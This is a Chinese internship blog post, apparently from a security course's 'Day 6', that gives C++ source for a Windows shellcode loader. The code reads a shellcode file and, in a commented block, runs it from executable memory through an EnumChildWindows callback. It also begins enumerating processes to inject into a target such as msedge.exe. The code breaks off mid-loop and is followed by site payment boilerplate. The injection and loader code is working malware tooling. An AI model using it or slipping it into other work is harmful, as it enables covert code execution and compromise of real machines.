网络安全生产实习Day 6

#include "myFunch.h"
#include "SandBox.h"
//上线
//字符转宽字符
//加载shellcode
wchar_t* AtoW(char** a) {
    setlocale(LC_ALL, "");

    // 原始的char*字符串
    char* char_str = *a;

    // 确定所需的wchar_t缓冲区的大小
    size_t wchar_size = mbstowcs(NULL, char_str, 0) + 1;
    if (wchar_size == (size_t)-1) {
        perror("mbstowcs");
        return 0;
    }

    // 分配wchar_t缓冲区
    wchar_t* wchar_str = (wchar_t*)malloc(wchar_size * sizeof(wchar_t));
    if (wchar_str == NULL) {
        perror("malloc");
        return 0;
    }

    // 执行转换
    mbstowcs(wchar_str, char_str, wchar_size);
    return wchar_str;
}

//读取shellcode
// 从文件中读取数据并返回
char* ReadFile(SIZE_T* length, char* file) {
    char* filename = file; // 将输入的文件名存储在变量filename中
    ifstream infile; // 创建一个输入文件流对象
    infile.open(filename, ios::out | ios::binary); // 以二进制只写模式打开文件

    // 获取文件大小
    infile.seekg(0, infile.end); // 将文件指针移动到文件末尾
    *length = infile.tellg(); // 获取文件指针当前位置,即文件大小
    infile.seekg(0, infile.beg); // 将文件指针移动回文件开头

    // 分配内存以存储文件数据
    char* data = new char[*length]; // 使用文件大小分配内存

    // 如果文件成功打开,则读取文件内容
    if (infile.is_open()) {
        cout << "reading from the file" << endl; // 输出提示信息
        infile.read(data, *length); // 读取文件内容到data中
    }

    return data; // 返回读取的文件数据
}


//注入进程
void Inject(char* argv[]) {
    SIZE_T length = 0;
    char* data;
    data = ReadFile(&length, argv[2]);

    /*LPVOID mem = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(mem, data, length);
    EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);*/

    HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);   //快照(留像)
    if (snapshot_handle != INVALID_HANDLE_VALUE) {
        // 枚举进程
        PROCESSENTRY32 process_entry;
        process_entry.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(snapshot_handle, &process_entry)) {
            do {
                // 将进程名转换为宽字符串
                std::wstring extFileName(process_entry.szExeFile);
                wchar_t* exename = AtoW(&argv[3]);
                // 如果进程名包含 "msedge.exe" 则进行以下操作  std::string::npos == 当初遍历的进程名
                if (extFileName
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值